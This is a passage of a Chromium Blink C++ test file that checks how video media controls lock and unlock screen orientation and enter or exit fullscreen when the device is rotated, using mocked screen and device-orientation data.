video_->parentElement()->RemoveChild(video_);
video_ = MakeGarbageCollected<HTMLVideoElement>(GetDocument());
video_->setAttribute(html_names::kControlsAttr, g_empty_atom);
// Most tests should call GetDocument().body()->AppendChild(&Video());
// This is not done automatically, so that tests control timing of `Attach`,
// which is important for MediaControlsRotateToFullscreenDelegate since
// that's when it reads the initial screen orientation.
}
void TearDown() override {
MediaControlsOrientationLockDelegateTest::TearDown();
WebTestSupport::SetIsRunningWebTest(was_running_web_test_);
}
void SetIsAutoRotateEnabledByUser(bool enabled) {
MediaControls()
->orientation_lock_delegate_
->is_auto_rotate_enabled_by_user_override_for_testing_ = enabled;
}
gfx::Rect ScreenRectFromAngle(uint16_t screen_orientation_angle) {
uint16_t portrait_angle_mod_180 = natural_orientation_is_portrait_ ? 0 : 90;
bool screen_rect_is_portrait =
screen_orientation_angle % 180 == portrait_angle_mod_180;
return screen_rect_is_portrait ? gfx::Rect(0, 0, 1080, 1920)
: gfx::Rect(0, 0, 1920, 1080);
}
void RotateDeviceTo(uint16_t new_device_orientation_angle) {
// Pick one of the many (beta,gamma) pairs that should map to each angle.
switch (new_device_orientation_angle) {
case 0:
RotateDeviceTo(90, 0);
break;
case 90:
RotateDeviceTo(0, -90);
break;
case 180:
RotateDeviceTo(-90, 0);
break;
case 270:
RotateDeviceTo(0, 90);
break;
default:
NOTREACHED();
break;
}
}
void RotateDeviceTo(double beta, double gamma) {
DeviceOrientationController::From(*GetFrame().DomWindow())
.SetOverride(DeviceOrientationData::Create(0.0 /* alpha */, beta, gamma,
false /* absolute */));
test::RunPendingTasks();
}
// Calls must be wrapped in ASSERT_NO_FATAL_FAILURE.
void RotateScreenTo(mojom::blink::ScreenOrientation screen_orientation_type,
uint16_t screen_orientation_angle) {
ScreenInfo new_screen_info;
new_screen_info.orientation_type = screen_orientation_type;
new_screen_info.orientation_angle = screen_orientation_angle;
new_screen_info.rect = ScreenRectFromAngle(screen_orientation_angle);
ASSERT_TRUE(new_screen_info.orientation_type ==
ScreenOrientationController::ComputeOrientation(
new_screen_info.rect, new_screen_info.orientation_angle));
ChromeClient().MockScreenInfo() = new_screen_info;
// Screen Orientation API
ScreenOrientationController::From(*GetDocument().domWindow())
->NotifyOrientationChanged();
// Legacy window.orientation API
GetDocument().domWindow()->SendOrientationChangeEvent();
test::RunPendingTasks();
}
void InitVideo(int video_width, int video_height) {
// Set up the WebMediaPlayer instance.
GetDocument().body()->AppendChild(&Video());
Video().SetSrc("https://example.com");
test::RunPendingTasks();
SimulateVideoReadyState(HTMLMediaElement::kHaveMetadata);
// Set video size.
MockWebMediaPlayer().MockNaturalSize() =
gfx::Size(video_width, video_height);
// Dispatch an arbitrary Device Orientation event to satisfy
// MediaControlsRotateToFullscreenDelegate's requirement that the device
// supports the API and can provide beta and gamma values. The orientation
// will be ignored.
RotateDeviceTo(0);
}
void PlayVideo() {
LocalFrame::NotifyUserActivation(
GetDocument().GetFrame(), mojom::UserActivationNotificationType::kTest);
Video().Play();
test::RunPendingTasks();
}
void UpdateVisibilityObserver() {
// Let IntersectionObserver update.
UpdateAllLifecyclePhasesForTest();
test::RunPendingTasks();
}
DeviceOrientationType ComputeDeviceOrientation(
DeviceOrientationData* data) const {
return MediaControls()
->orientation_lock_delegate_->ComputeDeviceOrientation(data);
}
bool was_running_web_test_ = false;
bool natural_orientation_is_portrait_ = true;
};
TEST_F(MediaControlsOrientationLockDelegateTest, DelegateRequiresFlag) {
// Flag on by default.
EXPECT_TRUE(HasDelegate(*Video().GetMediaControls()));
// Same with flag off.
ScopedVideoFullscreenOrientationLockForTest video_fullscreen_orientation_lock(
false);
auto* video = MakeGarbageCollected<HTMLVideoElement>(GetDocument());
GetDocument().body()->AppendChild(video);
EXPECT_FALSE(HasDelegate(*video->GetMediaControls()));
}
TEST_F(MediaControlsOrientationLockDelegateTest, DelegateRequiresVideo) {
auto* audio = MakeGarbageCollected<HTMLAudioElement>(GetDocument());
GetDocument().body()->AppendChild(audio);
EXPECT_FALSE(HasDelegate(*audio->GetMediaControls()));
}
TEST_F(MediaControlsOrientationLockDelegateTest, InitialState) {
CheckStatePendingFullscreen();
}
TEST_F(MediaControlsOrientationLockDelegateTest, EnterFullscreenNoMetadata) {
EXPECT_CALL(ScreenOrientationClient(), LockOrientation(_)).Times(0);
SimulateEnterFullscreen();
CheckStatePendingMetadata();
}
TEST_F(MediaControlsOrientationLockDelegateTest, LeaveFullscreenNoMetadata) {
EXPECT_CALL(ScreenOrientationClient(), LockOrientation(_)).Times(0);
EXPECT_CALL(ScreenOrientationClient(), UnlockOrientation()).Times(0);
SimulateEnterFullscreen();
// State set to PendingMetadata.
SimulateExitFullscreen();
CheckStatePendingFullscreen();
}
TEST_F(MediaControlsOrientationLockDelegateTest, EnterFullscreenWithMetadata) {
SimulateVideoReadyState(HTMLMediaElement::kHaveMetadata);
EXPECT_CALL(ScreenOrientationClient(), LockOrientation(_)).Times(1);
EXPECT_FALSE(DelegateWillUnlockFullscreen());
SimulateEnterFullscreen();
EXPECT_TRUE(DelegateWillUnlockFullscreen());
CheckStateMaybeLockedFullscreen();
}
TEST_F(MediaControlsOrientationLockDelegateTest, LeaveFullscreenWithMetadata) {
SimulateVideoReadyState(HTMLMediaElement::kHaveMetadata);
EXPECT_CALL(ScreenOrientationClient(), LockOrientation(_)).Times(1);
EXPECT_CALL(ScreenOrientationClient(), UnlockOrientation()).Times(1);
SimulateEnterFullscreen();
// State set to MaybeLockedFullscreen.
SimulateExitFullscreen();
EXPECT_FALSE(DelegateWillUnlockFullscreen());
CheckStatePendingFullscreen();
}
TEST_F(MediaControlsOrientationLockDelegateTest, EnterFullscreenAfterPageLock) {
SimulateVideoReadyState(HTMLMediaElement::kHaveMetadata);
SimulateOrientationLock();
test::RunPendingTasks();
EXPECT_FALSE(DelegateWillUnlockFullscreen());
EXPECT_CALL(ScreenOrientationClient(), LockOrientation(_)).Times(0);
SimulateEnterFullscreen();
EXPECT_FALSE(DelegateWillUnlockFullscreen());
CheckStateMaybeLockedFullscreen();
}
TEST_F(MediaControlsOrientationLockDelegateTest, LeaveFullscreenAfterPageLock) {
SimulateVideoReadyState(HTMLMediaElement::kHaveMetadata);
SimulateOrientationLock();
test::RunPendingTasks();
EXPECT_CALL(ScreenOrientationClient(), LockOrientation(_)).Times(0);
EXPECT_CALL(ScreenOrientationClient(), UnlockOrientation()).Times(0);
SimulateEnterFullscreen();
// State set to MaybeLockedFullscreen.
SimulateExitFullscreen();
EXPECT_FALSE(DelegateWillUnlockFullscreen());
CheckStatePendingFullscreen();
}
TEST_F(MediaControlsOrientationLockDelegateTest,
ReceivedMetadataAfterExitingFullscreen) {
EXPECT_CALL(ScreenOrientationClient(), LockOrientation(_)).Times(1);
SimulateEnterFullscreen();
// State set to PendingMetadata.
// Set up the WebMediaPlayer instance.
Video().SetSrc("http://example.com");
test::RunPendingTasks();
SimulateVideoNetworkState(HTMLMediaElement::kNetworkIdle);
SimulateVideoReadyState(HTMLMediaElement::kHaveMetadata);
test::RunPendingTasks();
CheckStateMaybeLockedFullscreen();
}
TEST_F(MediaControlsOrientationLockDelegateTest, ReceivedMetadataLater) {
EXPECT_CALL(ScreenOrientationClient(), LockOrientation(_)).Times(0);
EXPECT_CALL(ScreenOrientationClient(), UnlockOrientation()).Times(0);
SimulateEnterFullscreen();
// State set to PendingMetadata.
SimulateExitFullscreen();
// Set up the WebMediaPlayer instance.
Video().SetSrc("http://example.com");
test::RunPendingTasks();
SimulateVideoNetworkState(HTMLMediaElement::kNetworkIdle);
SimulateVideoReadyState(HTMLMediaElement::kHaveMetadata);
test::RunPendingTasks();
CheckStatePendingFullscreen();
}
TEST_F(MediaControlsOrientationLockDelegateTest, ComputeOrientationLock) {
// Set up the WebMediaPlayer instance.
Video().SetSrc("http://example.com");
test::RunPendingTasks();
SimulateVideoNetworkState(HTMLMediaElement::kNetworkIdle);
SimulateVideoReadyState(HTMLMediaElement::kHaveMetadata);
// 100x50
MockWebMediaPlayer().MockNaturalSize() = gfx::Size(100, 50);
EXPECT_EQ(device::mojom::ScreenOrientationLockType::LANDSCAPE,
ComputeOrientationLock());
// 50x100
MockWebMediaPlayer().MockNaturalSize() = gfx::Size(50, 100);
EXPECT_EQ(device::mojom::ScreenOrientationLockType::PORTRAIT,
ComputeOrientationLock());
// 100x100 has more subtilities, it depends on the current screen orientation.
MockWebMediaPlayer().MockNaturalSize() = gfx::Size(100, 100);
ChromeClient().MockScreenInfo().orientation_type =
mojom::blink::ScreenOrientation::kUndefined;
EXPECT_EQ(device::mojom::ScreenOrientationLockType::LANDSCAPE,
ComputeOrientationLock());
ChromeClient().MockScreenInfo().orientation_type =
mojom::blink::ScreenOrientation::kPortraitPrimary;
EXPECT_EQ(device::mojom::ScreenOrientationLockType::PORTRAIT,
ComputeOrientationLock());
ChromeClient().MockScreenInfo().orientation_type =
mojom::blink::ScreenOrientation::kPortraitPrimary;
EXPECT_EQ(device::mojom::ScreenOrientationLockType::PORTRAIT,
ComputeOrientationLock());
ChromeClient().MockScreenInfo().orientation_type =
mojom::blink::ScreenOrientation::kLandscapePrimary;
EXPECT_EQ(device::mojom::ScreenOrientationLockType::LANDSCAPE,
ComputeOrientationLock());
ChromeClient().MockScreenInfo().orientation_type =
mojom::blink::ScreenOrientation::kLandscapeSecondary;
EXPECT_EQ(device::mojom::ScreenOrientationLockType::LANDSCAPE,
ComputeOrientationLock());
}
TEST_F(MediaControlsOrientationLockAndRotateToFullscreenDelegateTest,
ComputeDeviceOrientation) {
InitVideo(400, 400);
// Repeat test with natural_orientation_is_portrait_ = false then true.
for (int n_o_i_p = 0; n_o_i_p <= 1; n_o_i_p++) {
natural_orientation_is_portrait_ = static_cast<bool>(n_o_i_p);
SCOPED_TRACE(testing::Message() << "natural_orientation_is_portrait_="
<< natural_orientation_is_portrait_);
DeviceOrientationType natural_orientation =
natural_orientation_is_portrait_ ? DeviceOrientationType::kPortrait
: DeviceOrientationType::kLandscape;
DeviceOrientationType perpendicular_to_natural_orientation =
natural_orientation_is_portrait_ ? DeviceOrientationType::kLandscape
: DeviceOrientationType::kPortrait;
// There are four valid combinations of orientation type and orientation
// angle for a naturally portrait device, and they should all calculate the
// same device orientation (since this doesn't depend on the screen
// orientation, it only depends on whether the device is naturally portrait
// or naturally landscape). Similarly for a naturally landscape device.
for (int screen_angle = 0; screen_angle < 360; screen_angle += 90) {
SCOPED_TRACE(testing::Message() << "screen_angle=" << screen_angle);
mojom::blink::ScreenOrientation screen_type =
mojom::blink::ScreenOrientation::kUndefined;
switch (screen_angle) {
case 0:
screen_type =
natural_orientation_is_portrait_
? mojom::blink::ScreenOrientation::kPortraitPrimary
: mojom::blink::ScreenOrientation::kLandscapePrimary;
break;
case 90:
screen_type =
natural_orientation_is_portrait_
? mojom::blink::ScreenOrientation::kLandscapePrimary
: mojom::blink::ScreenOrientation::kPortraitSecondary;
break;
case 180:
screen_type =
natural_orientation_is_portrait_
? mojom::blink::ScreenOrientation::kPortraitSecondary
: mojom::blink::ScreenOrientation::kLandscapeSecondary;
break;
case 270:
screen_type =
natural_orientation_is_portrait_
? mojom::blink::ScreenOrientation::kLandscapeSecondary
: mojom::blink::ScreenOrientation::kPortraitPrimary;
break;
}
ASSERT_NO_FATAL_FAILURE(RotateScreenTo(screen_type, screen_angle));
// Compass heading is irrelevant to this calculation.
double alpha = 0.0;
bool absolute = false;
// These beta and gamma values should all map to r < sin(24 degrees), so
// orientation == kFlat, irrespective of their device_orientation_angle.
EXPECT_EQ(DeviceOrientationType::kFlat, // face up
ComputeDeviceOrientation(DeviceOrientationData::Create(
alpha, 0. /* beta */, 0. /* gamma */, absolute)));
EXPECT_EQ(DeviceOrientationType::kFlat, // face down
ComputeDeviceOrientation(DeviceOrientationData::Create(
alpha, 180. /* beta */, 0. /* gamma */, absolute)));
EXPECT_EQ(DeviceOrientationType::kFlat, // face down
ComputeDeviceOrientation(DeviceOrientationData::Create(
alpha, -180. /* beta */, 0. /* gamma */, absolute)));
EXPECT_EQ(DeviceOrientationType::kFlat, // face up, angle=0
ComputeDeviceOrientation(DeviceOrientationData::Create(
alpha, 20. /* beta */, 0. /* gamma */, absolute)));
EXPECT_EQ(DeviceOrientationType::kFlat, // face up, angle=90
ComputeDeviceOrientation(DeviceOrientationData::Create(
alpha, 0. /* beta */, -20. /* gamma */, absolute)));
EXPECT_EQ(DeviceOrientationType::kFlat, // face up, angle=180
ComputeDeviceOrientation(DeviceOrientationData::Create(
alpha, -20. /* beta */, 0. /* gamma */, absolute)));
EXPECT_EQ(DeviceOrientationType::kFlat, // face up, angle=270
ComputeDeviceOrientation(DeviceOrientationData::Create(
alpha, 0. /* beta */, 20. /* gamma */, absolute)));
// These beta and gamma values should all map to r ~= 1 and
// device_orientation_angle % 90 ~= 45, hence orientation == kDiagonal.
EXPECT_EQ(DeviceOrientationType::kDiagonal, // angle=45
ComputeDeviceOrientation(DeviceOrientationData::Create(
alpha, 135. /* beta */, 90. /* gamma */, absolute)));
EXPECT_EQ(DeviceOrientationType::kDiagonal, // angle=45
ComputeDeviceOrientation(DeviceOrientationData::Create(
alpha, 45. /* beta */, -90. /* gamma */, absolute)));
EXPECT_EQ(DeviceOrientationType::kDiagonal, // angle=135
ComputeDeviceOrientation(DeviceOrientationData::Create(
alpha, -135. /* beta */, 90. /* gamma */, absolute)));
EXPECT_EQ(DeviceOrientationType::kDiagonal, // angle=135
ComputeDeviceOrientation(DeviceOrientationData::Create(
alpha, -45. /* beta */, -90. /* gamma */, absolute)));
EXPECT_EQ(DeviceOrientationType::kDiagonal, // angle=225
ComputeDeviceOrientation(DeviceOrientationData::Create(
alpha, -45. /* beta */, 90. /* gamma */, absolute)));
EXPECT_EQ(DeviceOrientationType::kDiagonal, // angle=225
ComputeDeviceOrientation(DeviceOrientationData::Create(
alpha, -135. /* beta */, -90. /* gamma */, absolute)));
EXPECT_EQ(DeviceOrientationType::kDiagonal, // angle=315
ComputeDeviceOrientation(DeviceOrientationData::Create(
alpha, 45. /* beta */, 90. /* gamma */, absolute)));
EXPECT_EQ(DeviceOrientationType::kDiagonal, // angle=315
ComputeDeviceOrientation(DeviceOrientationData::Create(
alpha, 135. /* beta */, -90. /* gamma */, absolute)));
// These beta and gamma values should all map to r ~= 1 and
// device_orientation_angle ~= 0, hence orientation == kPortrait.
EXPECT_EQ(natural_orientation,
ComputeDeviceOrientation(DeviceOrientationData::Create(
alpha, 90. /* beta */, 0. /* gamma */, absolute)));
EXPECT_EQ(natural_orientation,
ComputeDeviceOrientation(DeviceOrientationData::Create(
alpha, 90. /* beta */, 90. /* gamma */, absolute)));
EXPECT_EQ(natural_orientation,
ComputeDeviceOrientation(DeviceOrientationData::Create(
alpha, 90. /* beta */, -90. /* gamma */, absolute)));
EXPECT_EQ(natural_orientation,
ComputeDeviceOrientation(DeviceOrientationData::Create(
alpha, 85. /* beta */, 90. /* gamma */, absolute)));
EXPECT_EQ(natural_orientation,
ComputeDeviceOrientation(DeviceOrientationData::Create(
alpha, 85. /* beta */, -90. /* gamma */, absolute)));
EXPECT_EQ(natural_orientation,
ComputeDeviceOrientation(DeviceOrientationData::Create(
alpha, 95. /* beta */, 90. /* gamma */, absolute)));
EXPECT_EQ(natural_orientation,
ComputeDeviceOrientation(DeviceOrientationData::Create(
alpha, 95. /* beta */, -90. /* gamma */, absolute)));
// These beta and gamma values should all map to r == 1 and
// device_orientation_angle == 90, hence orientation == kLandscape.
EXPECT_EQ(perpendicular_to_natural_orientation,
ComputeDeviceOrientation(DeviceOrientationData::Create(
alpha, 0. /* beta */, -90. /* gamma */, absolute)));
EXPECT_EQ(perpendicular_to_natural_orientation,
ComputeDeviceOrientation(DeviceOrientationData::Create(
alpha, 180. /* beta */, 90. /* gamma */, absolute)));
EXPECT_EQ(perpendicular_to_natural_orientation,
ComputeDeviceOrientation(DeviceOrientationData::Create(
alpha, -180. /* beta */, 90. /* gamma */, absolute)));
// These beta and gamma values should all map to r ~= 1 and
// device_orientation_angle ~= 180, hence orientation == kPortrait.
EXPECT_EQ(natural_orientation,
ComputeDeviceOrientation(DeviceOrientationData::Create(
alpha, -90. /* beta */, 0. /* gamma */, absolute)));
EXPECT_EQ(natural_orientation,
ComputeDeviceOrientation(DeviceOrientationData::Create(
alpha, -90. /* beta */, 90. /* gamma */, absolute)));
EXPECT_EQ(natural_orientation,
ComputeDeviceOrientation(DeviceOrientationData::Create(
alpha, -90. /* beta */, -90. /* gamma */, absolute)));
EXPECT_EQ(natural_orientation,
ComputeDeviceOrientation(DeviceOrientationData::Create(
alpha, -85. /* beta */, 90. /* gamma */, absolute)));
EXPECT_EQ(natural_orientation,
ComputeDeviceOrientation(DeviceOrientationData::Create(
alpha, -85. /* beta */, -90. /* gamma */, absolute)));
EXPECT_EQ(natural_orientation,
ComputeDeviceOrientation(DeviceOrientationData::Create(
alpha, -95. /* beta */, 90. /* gamma */, absolute)));
EXPECT_EQ(natural_orientation,
ComputeDeviceOrientation(DeviceOrientationData::Create(
alpha, -95. /* beta */, -90. /* gamma */, absolute)));
// These beta and gamma values should all map to r == 1 and
// device_orientation_angle == 270, hence orientation == kLandscape.
EXPECT_EQ(perpendicular_to_natural_orientation,
ComputeDeviceOrientation(DeviceOrientationData::Create(
alpha, 0. /* beta */, 90. /* gamma */, absolute)));
EXPECT_EQ(perpendicular_to_natural_orientation,
ComputeDeviceOrientation(DeviceOrientationData::Create(
alpha, 180. /* beta */, -90. /* gamma */, absolute)));
EXPECT_EQ(perpendicular_to_natural_orientation,
ComputeDeviceOrientation(DeviceOrientationData::Create(
alpha, -180. /* beta */, -90. /* gamma */, absolute)));
}
}
}
TEST_F(MediaControlsOrientationLockAndRotateToFullscreenDelegateTest,
PortraitInlineRotateToLandscapeFullscreen) {
// Naturally portrait device, initially portrait, with landscape video.
natural_orientation_is_portrait_ = true;
ASSERT_NO_FATAL_FAILURE(
RotateScreenTo(mojom::blink::ScreenOrientation::kPortraitPrimary, 0));
InitVideo(640, 480);
SetIsAutoRotateEnabledByUser(true);
PlayVideo();
UpdateVisibilityObserver();
// Initially inline, unlocked orientation.
ASSERT_FALSE(Video().IsFullscreen());
CheckStatePendingFullscreen();
ASSERT_FALSE(DelegateWillUnlockFullscreen());
// Simulate user rotating their device to landscape triggering a screen
// orientation change.
ASSERT_NO_FATAL_FAILURE(
RotateScreenTo(mojom::blink::ScreenOrientation::kLandscapePrimary, 90));
// MediaControlsRotateToFullscreenDelegate should enter fullscreen, so
// MediaControlsOrientationLockDelegate should lock orientation to landscape
// (even though the screen is already landscape).
EXPECT_TRUE(Video().IsFullscreen());
CheckStateMaybeLockedFullscreen();
EXPECT_EQ(device::mojom::ScreenOrientationLockType::LANDSCAPE,
DelegateOrientationLock());
// Device orientation events received by MediaControlsOrientationLockDelegate
// will confirm that the device is already landscape.
RotateDeviceTo(90 /* landscape primary */);
test::RunDelayedTasks(GetUnlockDelay());
// MediaControlsOrientationLockDelegate should lock to "any" orientation.
CheckStateMaybeLockedFullscreen();
EXPECT_EQ(device::mojom::ScreenOrientationLockType::ANY,
DelegateOrientationLock());
EXPECT_TRUE(DelegateWillUnlockFullscreen());
}
TEST_F(MediaControlsOrientationLockAndRotateToFullscreenDelegateTest,
PortraitInlineButtonToPortraitLockedLandscapeFullscreen) {
// Naturally portrait device, initially portrait, with landscape video.
natural_orientation_is_portrait_ = true;
ASSERT_NO_FATAL_FAILURE(
RotateScreenTo(mojom::blink::ScreenOrientation::kPortraitPrimary, 0));
InitVideo(640, 480);
SetIsAutoRotateEnabledByUser(true);
// Initially inline, unlocked orientation.
ASSERT_FALSE(Video().IsFullscreen());
CheckStatePendingFullscreen();
ASSERT_FALSE(DelegateWillUnlockFullscreen());
// Simulate user clicking on media controls fullscreen button.
SimulateEnterFullscreen();
EXPECT_TRUE(Video().IsFullscreen());
// MediaControlsOrientationLockDelegate should lock to landscape.
CheckStateMaybeLockedFullscreen();
EXPECT_EQ(device::mojom::ScreenOrientationLockType::LANDSCAPE,
DelegateOrientationLock());
// This will trigger a screen orientation change to landscape.
ASSERT_NO_FATAL_FAILURE(
RotateScreenTo(mojom::blink::ScreenOrientation::kLandscapePrimary, 90));
// Even though the device is still held in portrait.
RotateDeviceTo(0 /* portrait primary */);
test::RunDelayedTasks(GetUnlockDelay());
// MediaControlsOrientationLockDelegate should remain locked to landscape.
CheckStateMaybeLockedFullscreen();
EXPECT_EQ(device::mojom::ScreenOrientationLockType::LANDSCAPE,
DelegateOrientationLock());
}
TEST_F(MediaControlsOrientationLockAndRotateToFullscreenDelegateTest,
PortraitLockedLandscapeFullscreenRotateToLandscapeFullscreen) {
// Naturally portrait device, initially portrait device orientation but locked
// to landscape screen orientation, with landscape video.
natural_orientation_is_portrait_ = true;
ASSERT_NO_FATAL_FAILURE(
RotateScreenTo(mojom::blink::ScreenOrientation::kLandscapePrimary, 90));
InitVideo(640, 480);
SetIsAutoRotateEnabledByUser(true);
// Initially fullscreen, locked orientation.
SimulateEnterFullscreen();
ASSERT_TRUE(Video().IsFullscreen());
CheckStateMaybeLockedFullscreen();
EXPECT_EQ(device::mojom::ScreenOrientationLockType::LANDSCAPE,
DelegateOrientationLock());
// Simulate user rotating their device to landscape (matching the screen
// orientation lock).
RotateDeviceTo(90 /* landscape primary */);
test::RunDelayedTasks(GetUnlockDelay());
// MediaControlsOrientationLockDelegate should lock to "any" orientation.
CheckStateMaybeLockedFullscreen();
EXPECT_EQ(device::mojom::ScreenOrientationLockType::ANY,
DelegateOrientationLock());
EXPECT_TRUE(DelegateWillUnlockFullscreen());
EXPECT_TRUE(Video().IsFullscreen());
}
TEST_F(MediaControlsOrientationLockAndRotateToFullscreenDelegateTest,
PortraitLockedLandscapeFullscreenBackToPortraitInline) {
// Naturally portrait device, initially portrait device orientation but locked
// to landscape screen orientation, with landscape video.
natural_orientation_is_portrait_ = true;
ASSERT_NO_FATAL_FAILURE(
RotateScreenTo(mojom::blink::ScreenOrientation::kLandscapePrimary, 90));
InitVideo(640, 480);
SetIsAutoRotateEnabledByUser(true);
// Initially fullscreen, locked orientation.
SimulateEnterFullscreen();
ASSERT_TRUE(Video().IsFullscreen());
CheckStateMaybeLockedFullscreen();
EXPECT_EQ(device::mojom::ScreenOrientationLockType::LANDSCAPE,
DelegateOrientationLock());
// Simulate user clicking on media controls exit fullscreen button.
SimulateExitFullscreen();
EXPECT_FALSE(Video().IsFullscreen());
// MediaControlsOrientationLockDelegate should unlock orientation.
CheckStatePendingFullscreen();
EXPECT_FALSE(DelegateWillUnlockFullscreen());
// Play the video and make it visible, just to make sure
// MediaControlsRotateToFullscreenDelegate doesn't react to the
// orientationchange event.
PlayVideo();
UpdateVisibilityObserver();
// Unlocking the orientation earlier will trigger a screen orientation change
// to portrait (since the device orientation was already portrait, even though
// the screen was locked to landscape).
ASSERT_NO_FATAL_FAILURE(
RotateScreenTo(mojom::blink::ScreenOrientation::kPortraitPrimary, 0));
// Video should remain inline, unlocked.
CheckStatePendingFullscreen();
EXPECT_FALSE(DelegateWillUnlockFullscreen());
EXPECT_FALSE(Video().IsFullscreen());
}
TEST_F(MediaControlsOrientationLockAndRotateToFullscreenDelegateTest,
LandscapeInlineRotateToPortraitInline) {
// Naturally portrait device, initially landscape, with landscape video.
natural_orientation_is_portrait_ = true;
ASSERT_NO_FATAL_FAILURE(
RotateScreenTo(mojom::blink::ScreenOrientation::kLandscapePrimary, 90));
InitVideo(640, 480);
SetIsAutoRotateEnabledByUser(true);
PlayVideo();
UpdateVisibilityObserver();
// Initially inline, unlocked orientation.
ASSERT_FALSE(Video().IsFullscreen());
CheckStatePendingFullscreen();
ASSERT_FALSE(DelegateWillUnlockFullscreen());
// Simulate user rotating their device to portrait triggering a screen
// orientation change.
ASSERT_NO_FATAL_FAILURE(
RotateScreenTo(mojom::blink::ScreenOrientation::kPortraitPrimary, 0));
test::RunDelayedTasks(GetUnlockDelay());
// Video should remain inline, unlocked.
CheckStatePendingFullscreen();
EXPECT_FALSE(DelegateWillUnlockFullscreen());
EXPECT_FALSE(Video().IsFullscreen());
}
TEST_F(MediaControlsOrientationLockAndRotateToFullscreenDelegateTest,
LandscapeInlineButtonToLandscapeFullscreen) {
// Naturally portrait device, initially landscape, with landscape video.
natural_orientation_is_portrait_ = true;
ASSERT_NO_FATAL_FAILURE(
RotateScreenTo(mojom::blink::ScreenOrientation::kLandscapePrimary, 90));
InitVideo(640, 480);
SetIsAutoRotateEnabledByUser(true);
// Initially inline, unlocked orientation.
ASSERT_FALSE(Video().IsFullscreen());
CheckStatePendingFullscreen();
ASSERT_FALSE(DelegateWillUnlockFullscreen());
// Simulate user clicking on media controls fullscreen button.
SimulateEnterFullscreen();
EXPECT_TRUE(Video().IsFullscreen());
// MediaControlsOrientationLockDelegate should lock to landscape (even though
// the screen is already landscape).
CheckStateMaybeLockedFullscreen();
EXPECT_EQ(device::mojom::ScreenOrientationLockType::LANDSCAPE,
DelegateOrientationLock());
// Device orientation events received by MediaControlsOrientationLockDelegate
// will confirm that the device is already landscape.
RotateDeviceTo(90 /* landscape primary */);
test::RunDelayedTasks(GetUnlockDelay());
// MediaControlsOrientationLockDelegate should lock to "any" orientation.
CheckStateMaybeLockedFullscreen();
EXPECT_EQ(device::mojom::ScreenOrientationLockType::ANY,
DelegateOrientationLock());
EXPECT_TRUE(DelegateWillUnlockFullscreen());
}
TEST_F(MediaControlsOrientationLockAndRotateToFullscreenDelegateTest,
LandscapeFullscreenRotateToPortraitInline) {
// Naturally portrait device, initially landscape, with landscape video.
natural_orientation_is_portrait_ = true;
ASSERT_NO_FATAL_FAILURE(
RotateScreenTo(mojom::blink::ScreenOrientation::kLandscapePrimary, 90));
InitVideo(640, 480);
SetIsAutoRotateEnabledByUser(true);
// Initially fullscreen, locked to "any" orientation.
SimulateEnterFullscreen();
RotateDeviceTo(90 /* landscape primary */);
test::RunDelayedTasks(GetUnlockDelay());
ASSERT_TRUE(Video().IsFullscreen());
CheckStateMaybeLockedFullscreen();
EXPECT_EQ(device::mojom::ScreenOrientationLockType::ANY,
DelegateOrientationLock());
EXPECT_TRUE(DelegateWillUnlockFullscreen());
// Simulate user rotating their device to portrait triggering a screen
// orientation change.
ASSERT_NO_FATAL_FAILURE(
RotateScreenTo(mojom::blink::ScreenOrientation::kPortraitPrimary, 0));
test::RunDelayedTasks(GetUnlockDelay());
// MediaControlsRotateToFullscreenDelegate should exit fullscreen.
EXPECT_FALSE(Video().IsFullscreen());
// MediaControlsOrientationLockDelegate should unlock screen orientation.
CheckStatePendingFullscreen();
EXPECT_FALSE(DelegateWillUnlockFullscreen());
}
TEST_F(MediaControlsOrientationLockAndRotateToFullscreenDelegateTest,
LandscapeFullscreenBackToLandscapeInline) {
// Naturally portrait device, initially landscape, with landscape video.
natural_orientation_is_portrait_ = true;
ASSERT_NO_FATAL_FAILURE(
RotateScreenTo(mojom::blink::ScreenOrientation::kLandscapePrimary, 90));
InitVideo(640, 480);
SetIsAutoRotateEnabledByUser(true);
// Initially fullscreen, locked to "any" orientation.
SimulateEnterFullscreen();
RotateDeviceTo(90 /* landscape primary */);
test::RunDelayedTasks(GetUnlockDelay());
ASSERT_TRUE(Video().IsFullscreen());
CheckStateMaybeLockedFullscreen();
EXPECT_EQ(device::mojom::ScreenOrientationLockType::ANY,
DelegateOrientationLock());
EXPECT_TRUE(DelegateWillUnlockFullscreen());
// Simulate user clicking on media controls exit fullscreen button.
SimulateExitFullscreen();
EXPECT_FALSE(Video().IsFullscreen());
// MediaControlsOrientationLockDelegate should unlock screen orientation.
CheckStatePendingFullscreen();
EXPECT_FALSE(DelegateWillUnlockFullscreen());
}
TEST_F(
MediaControlsOrientationLockAndRotateToFullscreenDelegateTest,
AutoRotateDisabledPortraitInlineButtonToPortraitLockedLandscapeFullscreen) {
// Naturally portrait device, initially portrait, with landscape video.
natural_orientation_is_portrait_ = true;
ASSERT_NO_FATAL_FAILURE(
RotateScreenTo(mojom::blink::ScreenOrientation::kPortraitPrimary, 0));
InitVideo(640, 480);
// But this time the user has disabled auto rotate, e.g. locked to portrait.
SetIsAutoRotateEnabledByUser(false);
// Initially inline, unlocked orientation.
ASSERT_FALSE(Video().IsFullscreen());
CheckStatePendingFullscreen();
ASSERT_FALSE(DelegateWillUnlockFullscreen());
// Simulate user clicking on media controls fullscreen button.
SimulateEnterFullscreen();
EXPECT_TRUE(Video().IsFullscreen());
// MediaControlsOrientationLockDelegate should lock to landscape.
CheckStateMaybeLockedFullscreen();
EXPECT_EQ(device::mojom::ScreenOrientationLockType::LANDSCAPE,
DelegateOrientationLock());
// This will trigger a screen orientation change to landscape, since the app's
// lock overrides the user's orientation lock (at least on Android).
ASSERT_NO_FATAL_FAILURE(
RotateScreenTo(mojom::blink::ScreenOrientation::kLandscapePrimary, 90));
// Even though the device is still held in portrait.
RotateDeviceTo(0 /* portrait primary */);
test::RunDelayedTasks(GetUnlockDelay());
// MediaControlsOrientationLockDelegate should remain locked to landscape.
CheckStateMaybeLockedFullscreen();
EXPECT_EQ(device::mojom::ScreenOrientationLockType::LANDSCAPE,
DelegateOrientationLock());
}
TEST_F(
MediaControlsOrientationLockAndRotateToFullscreenDelegateTest,
AutoRotateDisabledPortraitLockedLandscapeFullscreenRotateToLandscapeLockedLandscapeFullscreen) {
// Naturally portrait device, initially portrait device orientation but locked
// to landscape screen orientation, with landscape video.
natural_orientation_is_portrait_ = true;
ASSERT_NO_FATAL_FAILURE(
RotateScreenTo(mojom::blink::ScreenOrientation::kLandscapePrimary, 90));
InitVideo(640, 480);
// But this time the user has disabled auto rotate, e.g. locked to portrait
// (even though the app's landscape screen orientation lock overrides it).
SetIsAutoRotateEnabledByUser(false);
